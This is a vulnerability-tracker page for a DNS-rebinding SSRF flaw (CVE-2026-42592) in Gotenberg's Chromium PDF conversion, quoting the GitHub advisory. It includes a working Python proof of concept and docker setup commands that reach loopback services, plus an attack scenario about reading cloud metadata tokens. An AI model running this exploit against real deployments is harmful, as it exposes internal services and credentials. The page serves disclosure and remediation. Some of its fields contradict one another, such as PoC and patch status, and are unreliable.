Skip to main content

Gotenberg EUVDEUVD-2026-30315

| CVE-2026-42592 MEDIUM
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-2pmr-289p-44r3
5.3
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker controls DNS for hostname
  2. Delivery
    Submits URL to Chromium conversion endpoint
  3. Exploit
    Gotenberg validates URL and discards pinned IP
  4. Install
    Chromium resolves hostname (receives public IP)
  5. C2
    Attacker switches DNS response to private IP
  6. Execute
    Fetch.requestPaused re-checks URL without pinning
  7. Impact
    Chromium connects to private IP
  8. Step 8
    Internal service response rendered as PDF
  9. Step 9
    Attacker receives sensitive data

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture TOCTOU prevention
Exploitation Conditions

Exploitation requires four concrete conditions, all of which are met in default Gotenberg deployments: (1) The attacker must control authoritative DNS for at least one hostname with short TTL (< 1 second), allowing query-by-query response changes; this is within typical attacker capability via domain registration or DNS hijacking. (2) The target internal service must be accessible via HTTP (not requiring client certificates or Chromium-unsupported protocols). (3) The Chromium conversion endpoints must be enabled and reachable by the attacker (default configuration). (4) The target Gotenberg instance must run internal HTTP services on loopback or private IP ranges that the default deny-list would block if directly accessed (e.g., metadata endpoints at 169.254.169.254, internal admin panels on loopback). Limiting factors that reduce but do not eliminate risk: If the operator has explicitly configured --chromium-host-resolver-rules to pin internal hostnames to IPs, the attack is mitigated for those hostnames only; the attacker can still target other domains. If the Chromium conversion endpoints are disabled or access-controlled at the firewall level, the attack surface is removed. If outbound DNS is blocked or forced through a single corporate resolver, DNS rebinding becomes harder (though not impossible with DNS cache poisoning). If no internal services run on loopback or private networks, the attack yields no sensitive data. However, in typical containerized setups with sidecar services (metadata agents, logging, tracing), these conditions are almost always met.

Impact

This vulnerability combines low CVSS score (5.3: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) with high real-world risk and confirms the CVSS limitation for complex race conditions. The CVSS score reflects confidentiality impact only (C:L) and appears to underestimate the practical severity. Attack vector is network-accessible and requires no authentication or user interaction, making it trivially executable by any Internet attacker. The complexity is low because DNS rebinding is a well-established technique; the PoC demonstrates approximately 10% success rate per request with minimal effort required. EPSS score and KEV status are not provided in the input data, so exploitation frequency in the wild cannot be independently confirmed, but the PoC output and public GitHub advisory strongly indicate this is reproducible against unpatched versions. The vulnerability is not automatically exploitable against all deployments - it requires an attacker to control DNS for at least one hostname and the target to run services on loopback or private networks that the attacker wants to reach. However, in containerized deployments (Docker is explicitly mentioned in tags), loopback services and sidecar metadata endpoints are common, making exploitation likely in many real-world Gotenberg instances. The race condition window is narrow but reliable: the PoC achieves 2/20 (10%) hits without optimization, suggesting an attacker running hundreds of requests across multiple subdomains would easily exceed that baseline. Compensating controls (blocking outbound DNS, pinning Chromium host resolver rules) exist but require operator configuration - default deployments are vulnerable.

Exploit ScenarioDerived

An attacker registers or hijacks a domain (e.g., attacker.com) and configures it to resolve to a public IP address under their control. The attacker then sets up a DNS rebinding service or uses an existing public service like requestrepo.com that responds with different IPs on successive queries. The attacker submits a URL like http://rebind.attacker.com/ to Gotenberg's /forms/chromium/convert/url endpoint without authentication. Gotenberg's FilterOutboundURL resolves the hostname (receives the public IP), checks it against the deny-list (passes), and discards the IP. Chromium then resolves the hostname independently and receives the same public IP, proceeding with the request. Meanwhile, the attacker's DNS authority switches the next query for the same hostname to return 127.0.0.1. The Chromium Fetch.requestPaused handler re-checks the URL and again receives 127.0.0.1, but because FilterOutboundURL only returns an error status without pinning the IP, the handler cannot distinguish between 'this IP is private and must be blocked' and 'this IP changed since validation'. Chromium continues the request and performs a third DNS resolution, receiving 127.0.0.1 again, and connects to loopback. An HTTP service listening on loopback (e.g., curl http://127.0.0.1:8000/admin-panel) renders content, which Chromium converts to PDF and returns to the attacker. With a PoC success rate of 10% and hundreds of domains under the attacker's control, successful exploitation is trivial.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

DNS rebinding vulnerability in Gotenberg allows unauthenticated remote attackers to bypass SSRF protections and access internal services via Chromium URL conversion routes. When a URL is submitted for PDF conversion, Gotenberg validates the resolved IP address against a deny-list but discards the pinned result. Chromium then performs independent DNS resolution multiple times, creating a race condition where an attacker controlling DNS can return a public IP during validation and a private IP during connection, allowing access to loopback services, cloud metadata endpoints, or internal networks. Exploitation succeeds approximately 10% per attempt with trivial automation.

RemediationAI

No vendor-released patch identified at time of analysis per the input data. The GitHub advisory at https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3 recommends pinning resolved IPs through Chromium's network stack by exporting the internal decideOutbound function as DecideOutbound and rewriting URLs in the Fetch.requestPaused handler to use pinned IPs, or alternatively passing per-request --host-resolver-rules to Chromium derived from the initial validation. Until a patch is released, operators can apply these mitigations: (1) Disable Chromium URL conversion endpoints if not required, eliminating the attack surface entirely; (2) Configure --chromium-host-resolver-rules='MAP <internal-hostname> <pinned-ip>' for known internal services, which uses Chromium's native host resolver override mechanism to pin DNS responses per request (trade-off: requires operator knowledge of internal infrastructure); (3) Block outbound DNS from the Gotenberg container to untrusted nameservers, forcing DNS queries through a corporate resolver under operator control (trade-off: reduces flexibility for legitimate URL conversions); (4) Restrict network access to Gotenberg's ports to trusted clients only, reducing exposure (trade-off: may conflict with legitimate use cases). None of these are complete until the code fix is implemented.

Affected VersionsENISA

gotenberg < 8.32.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.32.0
euvd gotenberg fix: 8.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg's outbound filtering validates URLs by resolving hostnames and checking resolved IPs against private-address deny-lists (RFC 1918, 169.254.0.0/16, etc.), but the FilterOutboundURL function in pkg/gotenberg/outbound.go discards the pinned IP addresses after validation and returns only the error status. When the Chromium conversion path receives a URL, it passes the raw hostname string to Chromium's Chrome DevTools Protocol (CDP) at pkg/modules/chromium/browser.go:341, which triggers independent DNS resolution in Chromium's native network stack. The CDP Fetch.requestPaused handler at pkg/modules/chromium/events.go:55 performs a second validation by calling FilterOutboundURL again, but this also discards pinned IPs. Between the handler's DNS resolution and Chromium's actual TCP connect, a timing window exists where an attacker controlling authoritative DNS with short TTLs can switch responses. In contrast, the webhook and downloadFrom paths use gotenberg.NewOutboundHttpClient with a secureDialContext that enforces IP pinning throughout the HTTP client lifecycle, preventing the rebind attack. The root cause is CWE-367 (Time-of-check Time-of-use Race Condition): validation occurs at one moment but the security-critical connection decision (TCP connect) happens asynchronously with no guarantee the hostname still resolves to the same address.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

2
Patch available
May 14, 2026 - 18:02 EUVD
CVE Published
May 07, 2026 - 00:57 nvd
MEDIUM 5.3

DescriptionCVE.org

Summary

FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.

Details

pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:

go
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
    return err
}

The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.

The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:

go
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)

This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.

The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.

Proof of Concept

Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.

Setup:

bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
    'mkdir -p /tmp/rebind_srv && \
     echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'

Alice runs the attack without auth:

python
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"

hits = 0
for i in range(20):
    r = requests.post(
        f"{T}/forms/chromium/convert/url",
        files={"url": (None, REBIND)},
        timeout=30,
    )
    if r.status_code != 200:
        continue
    open("/tmp/_r.pdf", "wb").write(r.content)
    txt = subprocess.run(
        ["pdftotext", "/tmp/_r.pdf", "-"],
        capture_output=True, text=True,
    ).stdout
    if MARKER in txt:
        hits += 1

print(f"{hits}/20 rebind hits")

Observed output against gotenberg 8.31.0:

2/20 rebind hits

The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.

Impact

An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.

Recommended Fix

Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:

go
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
    allow = false
} else if len(decision.Pinned) > 0 {
    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}

Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.

--- *Found by aisafe.io*

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy